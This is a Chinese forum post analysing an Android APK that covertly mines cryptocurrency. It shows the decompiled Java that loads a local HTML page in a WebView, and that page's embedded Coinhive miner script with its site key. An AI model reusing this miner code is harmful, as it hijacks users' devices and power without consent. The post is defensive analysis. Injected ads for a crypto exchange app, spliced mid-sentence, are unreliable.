|
本帖最后由 狄人3 于 2022-1-21 19:01 编辑
image.png (887 Bytes, 下载次数: 0) 下载附件 2022-1-21 16:28 上传 没有root，欧意交易所app官方下载要提取apk可以用adb adb shell pm path {要看的包名}
image.png (751 Bytes, 下载次数: 0) 下载附件 2022-1-21 16:33 上传 之后pull出来就可以了，反编译看一下
image.png (15.26 KB, 下载次数: 0) 下载附件 2022-1-21 16:34 上传 非常简单，无壳无加密，数字货币交易平台直接看main [Java] 纯文本查看 复制代码 this.webView = (WebView)this.findViewById(0x7F080000); // id:webView this.settings = this.webView.getSettings(); this.settings.setJavaScriptEnabled(true); this.settings.setDomStorageEnabled(true); this.webView.loadUrl("file:///android_asset/run.html"); }很显然开了个webview然后加载run.html 那么再来看一下run.html [HTML] 纯文本查看 复制代码 <script src="https://coinhive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.Anonymous('fwW95bBFO91OKUsz1VhlMEQwxmDBz7XE',{ threads:4, throttle: 0.8 }); miner.start(); </script>然后去访问js地址，发现已经被人干了 这个是臭名昭著的Coinhive 家族的js挖矿病毒，具体可以看别人的分析，百度一下就好，但是我也是第一次看到安卓上的挖矿
image.png (25.58 KB, 下载次数: 0) 下载附件 2022-1-21 16:53 上传 现在访问这个域名会被重定向，告诉我们这是个浏览器挖矿，但是域名被他搞走了 其实感觉挺奇怪的，安卓就这点算力还要拿来挖矿。。。
image.png
(15.98 KB, 下载次数: 1)
下载附件
2022-1-21 16:48 上传
|
